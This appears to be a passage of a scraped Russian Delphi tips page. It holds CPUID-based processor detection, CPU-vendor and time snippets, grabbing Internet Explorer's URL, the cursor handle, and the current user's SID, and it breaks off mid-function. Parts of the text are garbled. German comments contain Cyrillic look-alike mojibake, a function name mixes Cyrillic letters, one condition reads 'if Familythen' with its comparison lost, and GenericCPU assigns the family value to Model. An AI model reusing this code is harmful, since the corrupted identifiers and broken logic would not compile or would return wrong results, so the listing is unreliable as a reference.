end;
function TCpuData.CheckSSE: Boolean;
label
  NoSSE;
var
  TempCheck: dword;
begin
  TempCheck:=1;
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,1
    db $0F,$A2 /// cpuid
    test edx,$2000000
    jz NoSSE
    mov edx,0
    mov TempCheck,edx
    NoSSE:
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  CheckSSE:=(TempCheck=0);
end;
function TCpuData.CheckSSE2: Boolean;
label
  NoSSE2;
var
  TempCheck: dword;
begin
  TempCheck:=1;
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,1
    db $0F,$A2 /// cpuid
    test edx,$4000000
    jz NoSSE2
    mov edx,0
    mov TempCheck,edx
    NoSSE2:
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  CheckSSE2:=(TempCheck=0);
end;
function TCpuData.CheckAMD3DNow: Boolean;
label
  NoAMD3DNow;
var
  TempCheck: dword;
begin
  TempCheck:=1;
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,$80000001
    mov ebx,0
    mov ecx,0
    mov edx,0
    db $0F,$A2 /// cpuid
    test edx,$80000000
    jz NoAMD3DNow
    mov edx,0
    mov TempCheck,edx
    NoAMD3DNow:
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  CheckAMD3DNow:=(TempCheck=0);
end;
function TCpuData.CheckAMD3DNowPlus: Boolean;
label
  NoAMD3DNowPlus;
var
  TempCheck: dword;
begin
  TempCheck:=1;
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,$80000001
    mov ebx,0
    mov ecx,0
    mov edx,0
    db $0F,$A2 /// cpuid
    test edx,$40000000
    jz NoAMD3DNowPlus
    mov edx,0
    mov TempCheck,edx
    NoAMD3DNowPlus:
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  CheckAMD3DNowPlus:=(TempCheck=0);
end;
function TCpuData.GetMaxExtendedFunctions: dword;
var
  TempExt: dword;
begin
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,$80000000
    mov ebx,0
    mov ecx,0
    mov edx,0
    db $0F,$A2 /// cpuid
    shl eax,1
    shr eax,1
    mov TempExt,eax
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  GetMaxExtendedFunctions:=TempExt;
end;
procedure TCpuData.GetExtendedFMS(var family, model, stepping: byte);
var
  TempFlags: dword;
  BinFlags: array [0..31] of byte;
  i, pos:integer;
begin
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,$80000001
    mov ebx,0
    mov ecx,0
    mov edx,0
    db $0F,$A2 /// cpuid
    mov TempFlags,eax
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  for i:=0 to 31 do
  begin
    BinFlags[i]:=TempFlags mod 2;
    TempFlags:=TempFlags div 2;
  end;
  family:=0;
  model:=0;
  stepping:=0;
  pos:=0;
  for i:=0 to 3 do
  begin
    stepping:=stepping+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
    inc(pos);
  end;
  pos:=4;
  for i:=0 to 3 do
  begin
    model:=model+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
    inc(pos);
  end;
  pos:=8;
  for i:=0 to 3 do
  begin
    family:=family+(BinFlags[pos]*StrToInt(FloatToStr(Power(2,i))));
    inc(pos);
  end;
end;
function TCpuData.GetExtendedCpuName: string; 
var
  s1,s2,s3,s4,s5,s6,s7,s8,s9,s10,s11,s12: array[0..3] of char;
  TempCpuName: string;
  i: integer;
begin
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,$80000002
    mov ebx,0
    mov ecx,0
    mov edx,0
    db $0F,$A2 /// cpuid
    mov s1,eax
    mov s2,ebx
    mov s3,ecx
    mov s4,edx
    mov eax,$80000003
    mov ebx,0
    mov ecx,0
    mov edx,0
    db $0F,$A2 /// cpuid
    mov s5,eax
    mov s6,ebx
    mov s7,ecx
    mov s8,edx
    mov eax,$80000004
    mov ebx,0
    mov ecx,0
    mov edx,0
    db $0F,$A2 /// cpuid
    mov s9,eax
    mov s10,ebx
    mov s11,ecx
    mov s12,edx
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  TempCpuName:='';
  for i:=0 to 3 do
    TempCpuName:=TempCpuName+s1[i];
  for i:=0 to 3 do
    TempCpuName:=TempCpuName+s2[i];
  for i:=0 to 3 do
    TempCpuName:=TempCpuName+s3[i];
  for i:=0 to 3 do
    TempCpuName:=TempCpuName+s4[i];
  for i:=0 to 3 do
    TempCpuName:=TempCpuName+s5[i];
  for i:=0 to 3 do
    TempCpuName:=TempCpuName+s6[i];
  for i:=0 to 3 do
    TempCpuName:=TempCpuName+s7[i];
  for i:=0 to 3 do
    TempCpuName:=TempCpuName+s8[i];
  for i:=0 to 3 do
    TempCpuName:=TempCpuName+s9[i];
  for i:=0 to 3 do
    TempCpuName:=TempCpuName+s10[i];
  for i:=0 to 3 do
    TempCpuName:=TempCpuName+s11[i];
  for i:=0 to 3 do
    TempCpuName:=TempCpuName+s12[i];
  GetExtendedCpuName := TempCpuName;
end;
function TCpuData.GetExtendedL1DCache: word;
var
  L1D, TempL1D: dword;
  BinArray: array [0..31] of byte;
  i, p: integer;
begin
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,$80000005
    mov ebx,0
    mov ecx,0
    mov edx,0
    db $0F,$A2 /// cpuid
    mov L1D,ecx
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  for i:=0 to 31 do
  begin
    BinArray[i]:=L1D mod 2;
    L1D:=L1D div 2;
  end;
  TempL1D:=0;
  p:=0;
  for i:=24 to 31 do
  begin
    TempL1D:=TempL1D+(BinArray[i]*StrToInt(FloatToStr(Power(2,p))));
    inc(p);
  end;
  GetExtendedL1DCache:=TempL1D;
end;
function TCpuData.GetExtendedL1ICache: word;
var
  L1I, TempL1I: dword;
  BinArray: array [0..31] of byte;
  i, p: integer;
begin
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,$80000005
    mov ebx,0
    mov ecx,0
    mov edx,0
    db $0F,$A2 /// cpuid
    mov L1I,edx
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  for i:=0 to 31 do
  begin
    BinArray[i]:=L1I mod 2;
    L1I:=L1I div 2;
  end;
  TempL1I:=0;
  p:=0;
  for i:=24 to 31 do
  begin
    TempL1I:=TempL1I+(BinArray[i]*StrToInt(FloatToStr(Power(2,p))));
    inc(p);
  end;
  GetExtendedL1ICache:=TempL1I;
end;
function TCpuData.GetExtendedL2Cache: word;
var
  L2, TempL2: dword;
  BinArray: array [0..31] of byte;
  i, p: integer;
begin
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,$80000006
    mov ebx,0
    mov ecx,0
    mov edx,0
    db $0F,$A2 /// cpuid
    mov L2,ecx
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  for i:=0 to 31 do
  begin
    BinArray[i]:=L2 mod 2;
    L2:=L2 div 2;
  end;
  TempL2:=0;
  p:=0;
  for i:=16 to 31 do
  begin
    TempL2:=TempL2+(BinArray[i]*StrToInt(FloatToStr(Power(2,p))));
    inc(p);
  end;
  GetExtendedL2Cache:=TempL2;
end;
function TCpuData.CheckCeleron: Boolean;
var
  BId: byte;
begin
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,1
    db $0F,$A2 /// cpuid
    mov BId,bl
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  CheckCeleron:=(BId=$1);
end;
function TCpuData.CheckPentiumIII: Boolean;
var
  BId: byte;
begin
  CheckPentiumIII:=(CheckMMX and CheckSSE);
end;
function TCpuData.CheckXeon: Boolean;
var
  BId: byte;
begin
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,1
    db $0F,$A2 /// cpuid
    mov BId,bl
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  CheckXeon:=(BId=$3);
end;
function TCpuData.CheckPentium4: Boolean;
var
  BId: byte;
begin
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,1
    db $0F,$A2 /// cpuid
    mov BId,bl
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  CheckPentium4:=(BId=$8);
end;
function TCpuData.CheckIthanium: Boolean;
var
  res: dword;
  BinArray: array [0..31] of byte;
  i: byte;
begin
  asm
    push eax
    push ebx
    push ecx
    push edx
    mov eax,1
    db $0F,$A2 /// cpuid
    mov res,edx
    pop edx
    pop ecx
    pop ebx
    pop eax
  end;
  for i:=0 to 31 do
  begin
    BinArray[i]:=res mod 2;
    res:=res div 2;
  end;
  CheckIthanium:=(CheckPentium4 and (BinArray[30]=1));
end;
function TCpuData.IntelP5N: string;
begin
  if CheckMMX then
    IntelP5N:='Intel Pentium(r) MMX(tm)'
  else
    IntelP5N:='Intel Pentium(r)';
end;
function TCpuData.IntelP6N: string;
begin
  if CheckCeleron then
    IntelP6N:='Intel Celeron(r)'
  else
  if CheckPentiumIII then
    IntelP6N:='Intel Pentium(r) III'
  else
  if CheckXeon then
    IntelP6N:='Intel Pentium(r) III Xeon(tm)'
  else
  if not CheckMMX then
    IntelP6N:='Intel Pentium(r) PRO'
  else
    IntelP6N:='Intel Pentium(r) II';
end;
function TCpuData.AMDK5N: string;
var
  Family, Model, Stepping: byte;
begin
  GetFMS(Family,Model,Stepping);
  if Model=0 then
    AMDK5N:='AMD K5'
  else
    AMDK5N:=GetExtendedCpuName;
end;
function TCpuData.Cyrix686N: string;
begin
  if CpuData.GetMaxExtendedFunctions>0 then
    Cyrix686N:=GetExtendedCpuName
  else
  if CheckMMX then
    Cyrix686N:='VIA Cyrix 6x86MII'
  else
    Cyrix686N:='VIA Cyrix 6x86';
end;
function TCpuData.GenericCpuN: string;
var
  SysInfo:TSystemInfo;
begin
  GetSystemInfo(SysInfo);
  if SysInfo.dwProcessorType=386 then
    GenericCpuN:='Generic 386 CPU'
  else
  if SysInfo.dwProcessorType=486 then
    GenericCpuN:='Generic 486 CPU'
  else
  if SysInfo.dwProcessorType=586 then
    GenericCpuN:='Pentium Class CPU'
  else
    GenericCpuN:='Unknown CPU';
end;
function TCpuData.P5CacheL1DI: word;
begin
  if CheckMMX then
    P5CacheL1DI:=16
  else
    P5CacheL1DI:=8;
end;
function TCpuData.P6CacheL1DI: word;
begin
  if not CheckMMX then
    P6CacheL1DI:=8
  else
    P6CacheL1DI:=16;
end;
function TCpuData.P6CacheL2: word;
var
  Family, Model, Stepping: byte;
begin
  if CheckCeleron then
    P6CacheL2:=128
  else
  if CheckPentiumIII then
  begin
    GetFMS(Family,Model,Stepping);
    if Model=7 then
      P6CacheL2:=512
    else
    if Model=8 then
      P6cacheL2:=256
    else
      P6CacheL2:=512;
  end
  else
  if not CheckMMX then
    P6CacheL2:=512
  else
    P6CacheL2:=512;
end;
function TCpuData.AuthenticAMD: TCpuRec;
var
  Family, Model, Stepping: byte;
  EFamily, EModel, EStepping: byte;
begin
  GetFMS(Family,Model,Stepping);
  if Family=4 then
  begin
    AuthenticAMD.name:='AMD 486';
    AuthenticAMD.Vendor:=GetVendorString;
    AuthenticAMD.Frequency:=0;
    AuthenticAMD.Family:=Family;
    AuthenticAMD.Model:=Model;
    AuthenticAMD.Stepping:=Stepping;
    AuthenticAMD.L1DCache:=8;
    AuthenticAMD.L1ICache:=8;
    AuthenticAMD.L2Cache:=0;
  end
  else
  if Family=5 then
  begin
    if GetMaxExtendedFunctions>4 then
    begin
      AuthenticAMD.name:=GetExtendedCpuName;
      AuthenticAMD.Vendor:=GetVendorString;
      AuthenticAMD.Frequency:=GetCPUFrequency;
      GetExtendedFMS(EFamily,EModel,EStepping);
      AuthenticAMD.Family:=EFamily;
      AuthenticAMD.Model:=EModel;
      AuthenticAMD.Stepping:=EStepping;
      AuthenticAMD.L1DCache:=GetExtendedL1DCache;
      AuthenticAMD.L1ICache:=GetExtendedL1ICache;
      AuthenticAMD.L2Cache:=0;
    end
    else
    begin
      AuthenticAMD.name:=AMDK5N;
      AuthenticAMD.Vendor:=GetVendorString;
      AuthenticAMD.Frequency:=GetCPUFrequency;
      AuthenticAMD.Family:=Family;
      AuthenticAMD.Model:=Model;
      AuthenticAMD.Stepping:=Stepping;
      AuthenticAMD.L1DCache:=16;
      AuthenticAMD.L1ICache:=16;
      AuthenticAMD.L2Cache:=0;
    end;
  end
  else
  if family>5 then
  begin
    AuthenticAMD.name:=GetExtendedCpuName;
    AuthenticAMD.name:=GetExtendedCpuName;
    AuthenticAMD.Vendor:=GetVendorString;
    AuthenticAMD.Frequency:=GetCPUFrequency;
    GetExtendedFMS(EFamily,EModel,EStepping);
    AuthenticAMD.Family:=EFamily;
    AuthenticAMD.Model:=EModel;
    AuthenticAMD.Stepping:=EStepping;
    AuthenticAMD.L1DCache:=GetExtendedL1DCache;
    AuthenticAMD.L1ICache:=GetExtendedL1ICache;
    AuthenticAMD.L2Cache:=GetExtendedL2Cache;
  end;
end;
function TCpuData.GenuineIntel: TCpuRec;
var
  Family, Model, Stepping: byte;
begin
  GetFMS(Family,Model,Stepping);
  if Family=4 then
  begin
    GenuineIntel.name:='Intel 486';
    GenuineIntel.Vendor:=GetVendorString;
    GenuineIntel.Frequency:=0;
    GenuineIntel.Family:=Family;
    GenuineIntel.Model:=Model;
    GenuineIntel.Stepping:=Stepping;
    GenuineIntel.L1DCache:=8;
    GenuineIntel.L1ICache:=8;
    GenuineIntel.L2Cache:=0;
  end
  else
  if Family=5 then
  begin
    GenuineIntel.name:=IntelP5N;
    GenuineIntel.Vendor:=GetVendorString;
    GenuineIntel.Frequency:=GetCPUFrequency;
    GenuineIntel.Family:=Family;
    GenuineIntel.Model:=Model;
    GenuineIntel.Stepping:=Stepping;
    GenuineIntel.L1DCache:=P5CacheL1DI;
    GenuineIntel.L1ICache:=P5CacheL1DI;
    GenuineIntel.L2Cache:=0;
  end
  else
  if Family=6 then
  begin
    GenuineIntel.name:=IntelP6N;
    GenuineIntel.Vendor:=GetVendorString;
    GenuineIntel.Frequency:=GetCPUFrequency;
    GenuineIntel.Family:=Family;
    GenuineIntel.Model:=Model;
    GenuineIntel.Stepping:=Stepping;
    GenuineIntel.L1DCache:=P6CacheL1DI;
    GenuineIntel.L1ICache:=P6CacheL1DI;
    GenuineIntel.L2Cache:=P6CacheL2;
  end
  else
  if Family=$F then
  begin
    if CheckPentium4 then
    begin
      GenuineIntel.name:='Intel Pentium(r) 4';
      GenuineIntel.Vendor:=GetVendorString;
      GenuineIntel.Frequency:=GetCPUFrequency;
      GenuineIntel.Family:=32;
      GenuineIntel.Model:=Model;
      GenuineIntel.Stepping:=Stepping;
      GenuineIntel.L1DCache:=8;
      GenuineIntel.L1ICache:=12;
      GenuineIntel.L2Cache:=256;
    end
    else
    if CheckIthanium then
    begin
      GenuineIntel.name:='Intel Ithanium';
      GenuineIntel.Vendor:=GetVendorString;
      GenuineIntel.Frequency:=GetCPUFrequency;
      GenuineIntel.Family:=64;
      GenuineIntel.Model:=Model;
      GenuineIntel.Stepping:=Stepping;
      GenuineIntel.L1DCache:=0;
      GenuineIntel.L1ICache:=0;
      GenuineIntel.L2Cache:=0;
    end;
  end;
end;
function TCpuData.CyrixInstead: TCpuRec;
var
  Family, Model, Stepping: byte;
  EFamily, EModel, EStepping: byte;
begin
  GetFMS(Family,Model,Stepping);
  if Family=4 then
  begin
    CyrixInstead.name:='VIA Cyrix 4x86';
    CyrixInstead.Vendor:=GetVendorString;
    CyrixInstead.Frequency:=0;
    CyrixInstead.Family:=Family;
    CyrixInstead.Model:=Model;
    CyrixInstead.Stepping:=Stepping;
    CyrixInstead.L1DCache:=8;
    CyrixInstead.L1ICache:=8;
    CyrixInstead.L2Cache:=0;
  end
  else
  if Family=5 then
  begin
    CyrixInstead.name:='VIA Cyrix 5x86';
    CyrixInstead.Vendor:=GetVendorString;
    CyrixInstead.Frequency:=GetCPUFrequency;
    CyrixInstead.Family:=Family;
    CyrixInstead.Model:=Model;
    CyrixInstead.Stepping:=Stepping;
    CyrixInstead.L1DCache:=8;
    CyrixInstead.L1ICache:=8;
    CyrixInstead.L2Cache:=0;
  end
  else
  begin
    if GetMaxExtendedFunctions>0 then
    begin
      CyrixInstead.name:=GetExtendedCpuName;
      CyrixInstead.Vendor:=GetVendorString;
      CyrixInstead.Frequency:=GetCPUFrequency;
      GetExtendedFMS(EFamily,EModel,EStepping);
      CyrixInstead.Family:=EFamily;
      CyrixInstead.Model:=EModel;
      CyrixInstead.Stepping:=EStepping;
      CyrixInstead.L1DCache:=GetExtendedL1DCache;
      CyrixInstead.L1ICache:=GetExtendedL1ICache;
      CyrixInstead.L2Cache:=GetExtendedL2Cache;
    end
    else
    begin
      CyrixInstead.name:=Cyrix686N;
      CyrixInstead.Vendor:=GetVendorString;
      CyrixInstead.Frequency:=GetCPUFrequency;
      CyrixInstead.Family:=Family;
      CyrixInstead.Model:=Model;
      CyrixInstead.Stepping:=Stepping;
      CyrixInstead.L1DCache:=32;
      CyrixInstead.L1ICache:=32;
      CyrixInstead.L2Cache:=0;
    end;
  end;
end;
function TCpuData.GenericCPU: TCpuRec;
var
  Family, Model, Stepping: byte;
  EFamily, EModel, EStepping: byte;
begin
  if not GetCPUIDSupport then
  begin
    MessageDlg('This CPU does not support the CPUID instruction!!!',mtWarning,
    [mbOk],0);
    GenericCPU.name:='Unidentified CPU';
    GenericCPU.Vendor:='Unidentified';
    GenericCPU.Frequency:=0;
    GenericCPU.Family:=-1;
    GenericCPU.Model:=-1;
    GenericCPU.Stepping:=-1;
    GenericCPU.L1DCache:=0;
    GenericCPU.L1ICache:=0;
    GenericCPU.L2Cache:=0;
  end
  else
  begin
    GetFMS(Family,Model,Stepping);
    if GetMaxExtendedFunctions>0 then
    begin
      GenericCPU.name:=GetExtendedCPUName;
      GenericCPU.Vendor:=GetVendorString;
      GenericCPU.Frequency:=GetCPUFrequency;
      CpuData.GetExtendedFMS(EFamily,EModel,EStepping);
      GenericCPU.Family:=EFamily;
      GenericCPU.Model:=EFamily;
      GenericCPU.Stepping:=EStepping;
      GenericCPU.L1DCache:=GetExtendedL1DCache;
      GenericCPU.L1ICache:=GetExtendedL1ICache;
      GenericCPU.L2Cache:=GetExtendedL2Cache;
    end
    else
    begin
      GenericCPU.name:=GenericCpuN;
      GenericCPU.Vendor:=GetVendorString;
      if Familythen
        GenericCPU.Frequency:=0
      else
        GenericCPU.Frequency:=GetCPUFrequency;
      GenericCPU.Family:=Family;
      GenericCPU.Model:=Model;
      GenericCPU.Stepping:=Stepping;
      GenericCPU.L1DCache:=0;
      GenericCPU.L1ICache:=0;
      GenericCPU.L2Cache:=0;
    end;
  end;
end;
end.

Готовый проект можно взять здесь

Определение фирмы производителя CPU.

Автор: Gua WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Определение фирмы производителя CPU
Зависимости: нет
Автор:       Gua, fbsdd@ukr.net, ICQ:1411585495, Simferopol
Copyright:
Дата:        03 мая 2002 г.
***************************************************** }
type
  TVendor = array[0..11] of char;
  .........................
function GetCPUVendor: TVendor; assembler; register;
asm
  PUSH EBX {Save affected register}
  PUSH EDI
  MOV EDI,EAX {@Result (TVendor)}
  MOV EAX,0
  DW $A20F {CPUID Command}
  MOV EAX,EBX
  XCHG EBX,ECX {save ECX result}
  MOV ECX,4
@1:
  STOSB
  SHR EAX,8
  LOOP @1
  MOV EAX,EDX
  MOV ECX,4
@2:
  STOSB
  SHR EAX,8
  LOOP @2
  MOV EAX,EBX
  MOV ECX,4
@3:
  STOSB
  SHR EAX,8
  LOOP @3
  POP EDI {Restore registers}
  POP EBX
end;

Узнать текущие время и дату по Гринвичу.

procedure TForm1.Button4Click(Sender: TObject);
var
  lt: TSYSTEMTIME;
  st: TSYSTEMTIME;
begin
  GetLocalTime(lt);
  GetSystemTime(st);
  Memo1.Lines.Add('LocalTime = ' +
    IntToStr(lt.wmonth) + '/' +
    IntToStr(lt.wDay) + '/' +
    IntToStr(lt.wYear) + ' ' +
    IntToStr(lt.wHour) + ':' +
    IntToStr(lt.wMinute) + ':' +
    IntToStr(lt.wSecond));
  Memo1.Lines.Add('UTCTime = ' +
    IntToStr(st.wmonth) + '/' +
    IntToStr(st.wDay) + '/' +
    IntToStr(st.wYear) + ' ' +
    IntToStr(st.wHour) + ':' +
    IntToStr(st.wMinute) + ':' +
    IntToStr(st.wSecond));
end;

Как захватить текущий URL из окна Internet Explorer.

Статьи по Delphi (008)…
Сначала Джон Леннон назвал свою группу "Beetles". Но оказалось, что адрес www.beetles.com уже занят какими-то жуками. С тех пор группа называется "Beatles".

Описываем две функции GetText и GetURL:

function GetText(WindowHandle: hwnd):string;
var
  txtLength : integer;
  buffer: string;
begin
  TxtLength := SendMessage(WindowHandle, WM_GETTEXTLENGTH, 0, 0);
  txtlength := txtlength + 1;
  setlength (buffer, txtlength);
  sendmessage (WindowHandle,wm_gettext, txtlength, longint(@buffer[1]));
  result := buffer;
end;
function GetURL:string;
var
  ie,toolbar,combo,
  comboboxex,edit,
  worker,toolbarwindow:hwnd;
begin
  ie := FindWindow(pchar('IEFrame'),nil);
  worker := FindWindowEx(ie,0,'WorkerA',nil);
  toolbar := FindWindowEx(worker,0,'rebarwindow32',nil);
  comboboxex := FindWindowEx(toolbar, 0, 'comboboxex32', nil);
  combo := FindWindowEx(comboboxex,0,'ComboBox',nil);
  edit := FindWindowEx(combo,0,'Edit',nil);
  toolbarwindow := FindWindowEx(comboboxex, 0, 'toolbarwindow32', nil);
  result := GetText(edit);
end;

Ну а затем пользуемся функцией GetURL, например, можем в поле ввода по нажатию на кнопку выводит текущий URL:

procedure TForm1.Button1Click(Sender: TObject);
begin
  Edit1.Text := GetURL;
end;

Получить дескриптор текущего курсора.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  The GetCursor() API is limited in that it does not, by default, return a handle to the current 
  cursor when that cursor is owned by another thread. This article demonstrates a way to retrieve 
  the current cursor regardless of what thread owns it. 
  For example, when you wish to include the image of the cursor in a screen capture. 
}
 { 
  Die GetCursor() API gibt das Handle auf den aktuellen Mauszeiger zигьск. 
  Wenn Der Mauszeiger aber zu einem anderen Thread gеhцгt, funktioniert die GetCursor() 
  nicht ohne weiteres. 
  Dieses Beispiel zeigt, wie man das Handle zum aktuellen Mauszeiger systemweit ermitteln kann, 
  egal zu welchem Thread der Mauszeiger gеhцгt. 
  Der Code ist z.B nьtz1iсh, wenn man in einem "Screen Shot" den Mauszeiger zeigen mцсhtе. 
}
 function GetCursorHandle: HCURSOR;
 var
   hWindow: HWND;
   pt: TPoint;
   pIconInfo: TIconInfo;
   dwThreadID, dwCurrentThreadID: DWORD;
 begin
   // Find out which window owns the cursor 
  // Das zum Mauszeiger zиgеhцгigе Fenster finden 
  GetCursorPos(pt);
   hWindow := WindowFromPoint(pt);
   // Get the thread ID for the cursor owner. 
  // Thread ID des Fensters ermitteln 
  dwThreadID := GetWindowThreadProcessId(hWindow, nil);
   // Get the thread ID for the current thread 
  // Thread ID fьг den aktuellen Thread ermitteln 
  dwCurrentThreadID := GetCurrentThreadId;
   // If the cursor owner is not us then we must attach to 
  // the other thread in so that we can use GetCursor() to 
  // return the correct hCursor 
  // Wenn der Mauszeiger zu einem anderen Thread gеhцгt, mьssеn wir 
  // an den anderen Thread аnhдngеn. 
  if (dwCurrentThreadID <> dwThreadID) then
   begin
     if AttachThreadInput(dwCurrentThreadID, dwThreadID, True) then
     begin
       // Das Handle des Mauszeigers ermitteln 
      // Get the handle to the cursor 
      Result := GetCursor;
       AttachThreadInput(dwCurrentThreadID, dwThreadID, False);
     end;
   end else
   begin
     Result := GetCursor;
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 var
   CurPosX, CurPoxY: Integer;
   MyCursor: TIcon;
   pIconInfo: TIconInfo;
 begin
   MyCursor := TIcon.Create;
   try
     MyCursor.Handle := GetCursorHandle;
     // Retrieves information about the specified cursor. 
    // Informationen ььег den Mauszeiger auslesen 
    GetIconInfo(MyCursor.Handle, pIconInfo);
     CurPosX := pIconInfo.xHotspot;
     CurPoxY := pIconInfo.yHotspot;
     // Draw the Cursor on the form 
    // Den Mauszeiger auf die Form zeichnen 
    Canvas.Draw(CurPoxY, CurPoxY, MyCursor);
   finally
     MyCursor.ReleaseHandle;
     MyCursor.Free;
   end;
 end;
 // Another Solution: 
// Andere Мцg1iсhкеit: 
procedure TForm1.Timer1Timer(Sender: TObject);
 var
   CI: TCursorInfo;
 begin
   CI.cbSize := SizeOf(CI);
   GetCursorInfo(CI);
   Image1.Picture.Icon.Handle := CI.hCursor;
 end;

Как узнать текущие координаты мышки.

Для этого можно воспользоваться API функцией GetCursorPos. Передав в эту функцию TPoint, мы получим текущие координаты курсора. Следующий код показывает, как получить значения координат курсора по нажатию кнопки.

procedure Form1.Button1Click(Sender: TObject);
var
  foo: TPoint;
begin
  GetCursorPos(foo);
  ShowMessage('(' + IntToStr(foo.X) + ' ,' + IntToStr(foo.Y) + ')');
end;

Получение целого числа часов от начала суток.

Автор: Savva WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение целого числа часов от начала суток
Возвращает целое число часов от начала суток.
Пример: для "11:25:00" будет возвращено значение "11"
Зависимости: System, SysUtils
Автор:       savva, savva@nm.ru, ICQ:126578975, Орел
Copyright:   Сапронов Алексей (Savva)
Дата:        6 июня 2002 г.
***************************************************** }
function GеtСиггеntНоиг: integer;
begin
  result := Round(Time * 24);
end;

Определение текущего времени, отдельно часы, минуты и секунды.

Автор: Eagle WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Определение текущего времени(часы, минуты, секунды)
Зависимости: SysUtils, Classes
Автор:       Eagle, ICQ:160702560
Copyright:   MegaSoft
Дата:        2 ноября 2002 г.
***************************************************** }
unit gettime;
interface
uses SysUtils, Classes;
function gethours: integer;
function getmins: integer;
function getsecs: integer;
implementation
function gethours: integer;
var
  s: string;
  h: integer;
begin
  s := timetostr(time);
  h := strtoint(s[1] + s[2]);
  Result := h;
end;
function getmins: integer;
var
  s: string;
  h: integer;
begin
  s := timetostr(time);
  h := strtoint(s[4] + s[5]);
  Result := h;
end;
function getsecs: integer;
var
  s: string;
  h: integer;
begin
  s := timetostr(time);
  h := strtoint(s[7] + s[8]);
  Result := h;
end;
end.

Определить SID текущего пользователя.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

(******************************************************************************)
 (* SPGetSid - Retrieve the current user''s SID in text format                  *)
 (*                                                                            *)
 (* Copyright (c) 2004 Shorter Path Software                                   *)
 (* http://www.shorterpath.com                                                 *) 
(******************************************************************************)
 { 
  SID is a data structure of variable length that identifies user, group, 
  and computer accounts. 
  Every account on a network is issued a unique SID when the account is first created. 
  Internal processes in Windows refer to an account''s SID 
  rather than the account''s user or group name. 
}
 unit SPGetSid;
 interface
 uses
   Windows, SysUtils;
 function GetCurrentUserSid: string;
 implementation
 const
   HEAP_ZERO_MEMORY = $00000008;
   SID_REVISION     = 1; // Current revision level 
type
   PTokenUser = ^TTokenUser;
   TTokenUser = packed record
     User: TSidAndAttributes;
   end;
 function ConvertSid(Sid: PSID; pszSidText: PChar; var dwBufferLen: DWORD): BOOL;
 var
   psia: PSIDIdentifierAuthority;
   dwSubAuthorities: DWORD;
   dwSidRev: DWORD;
   dwCounter: DWORD;
   dwSidSize: DWORD;
 begin
   Result := False;
   dwSidRev := SID_REVISION;
   if not IsValidSid(Sid) then Exit;
   psia := GetSidIdentifierAuthority(Sid);
   dwSubAuthorities := GetSidSubAuthorityCount(Sid)^;
   dwSidSize := (15 + 12 + (12 * dwSubAuthorities) + 1) * SizeOf(Char);
   if (dwBufferLen < dwSidSize) then
   begin
     dwBufferLen := dwSidSize;
     SetLastError(ERROR_INSUFFICIENT_BUFFER);
     Exit;
   end;
   StrFmt(pszSidText, 'S-%u-', [dwSidRev]);
   if (psia.Value[0] <> 0) or (psia.Value[1] <> 0) then
     StrFmt(pszSidText + StrLen(pszSidText),
       '0x%.2x%.2x%.2x%.2x%.2x%.2x',
       [psia.Value[0], psia.Value[1], psia.Value[2],
       psia.Value[3], psia.Value[4], psia.Value[5]])
   else
     StrFmt(pszSidText + StrLen(pszSidText),
       '%u',
       [DWORD(psia.Value[5]) +
       DWORD(psia.Value[4] shl 8) +
       DWORD(psia.Value[3] shl 16) +
       DWORD(psia.Value[2] shl 24)]);
   dwSidSize := StrLen(pszSidText);
   for dwCounter := 0 to dwSubAuthorities - 1 do
   begin
     StrFmt(pszSidText + dwSidSize, '-%u',
       [GetSidSubAuthority(Sid, dwCounter)^]);
     dwSidSize := StrLen(pszSidText);
   end;
   Result := True;
 end;
 function ObtainTextSid(hToken: THandle; pszSid: PChar;
   var dwBufferLen: DWORD): BOOL;
 var
   dwReturnLength: DWORD;
   dwTokenUserLength: DWORD;
   tic: TTokenInformationClass;
   ptu: Pointer;
 begin
   Result := False;
   dwReturnLength := 0;
   dwTokenUserLength := 0;
   tic := TokenUser;
   ptu := nil;
   if not GetTokenInformation(hToken, tic, ptu, dwTokenUserLength,
     dwReturnLength) then
   begin
     if GetLastError = ERROR_INSUFFICIENT_BUFFER then
     begin
       ptu := HeapAlloc(GetProcessHeap, HEAP_ZERO_MEMORY, dwReturnLength);
       if ptu = nil then Exit;
       dwTokenUserLength := dwReturnLength;
       dwReturnLength    := 0;
       if not GetTokenInformation(hToken, tic, ptu, dwTokenUserLength,
         dwReturnLength) then Exit;
     end
      else
        Exit;
   end;
   if not ConvertSid((PTokenUser(ptu).User).Sid, pszSid, dwBufferLen) then Exit;
   if not HeapFree(GetProcessHeap, 0, ptu) then Exit;
   Result := True;
 end;
 function GetCurrentUserSid: string;
 var
   hAccessToken: THandle;
